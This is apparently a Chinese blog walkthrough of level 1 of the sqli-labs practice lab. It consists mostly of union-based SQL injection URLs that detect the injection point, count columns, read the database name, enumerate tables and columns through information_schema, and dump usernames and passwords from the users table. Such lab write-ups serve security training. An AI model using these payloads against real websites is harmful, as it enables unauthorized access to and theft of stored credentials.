SQL注入第一关-Less1

1、判断注入点类型

单引号测试

http://127.0.0.1/Less-1/?id=1'

报错,属于字符型注入,SQL语法有错误;

则在后面加上 --+

http://127.0.0.1/Less-1/?id=1' -- +

注:进行验证: 若是数字不相等依然报错

http://127.0.0.1/Less-1/?id=1' and 1=2 --+

2、判断字段数

order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。

http://127.0.0.1/Less-1/?id=1' order by  4  -- +

3、使用联合查询  确定显示位置

http://127.0.0.1/Less-1/?id=1' union select 1,2,3  -- +

     由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:

http://127.0.0.1/Less-1/?id= -1' union select 1,2,3 --+

4、确定显示位置后,查询库名

http://127.0.0.1/Less-1/?id=-1' union select 1,version(),database() --+

字段数为3,所以1在这表示占位,version()查询数据库版本,database()查询数据库库名

5、查询表名


http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

6、查询列名


http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

7、查询用户名和密码

http://127.0.0.1/Less-1/?id=-1' union select 1,username,password from users where id=2 --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值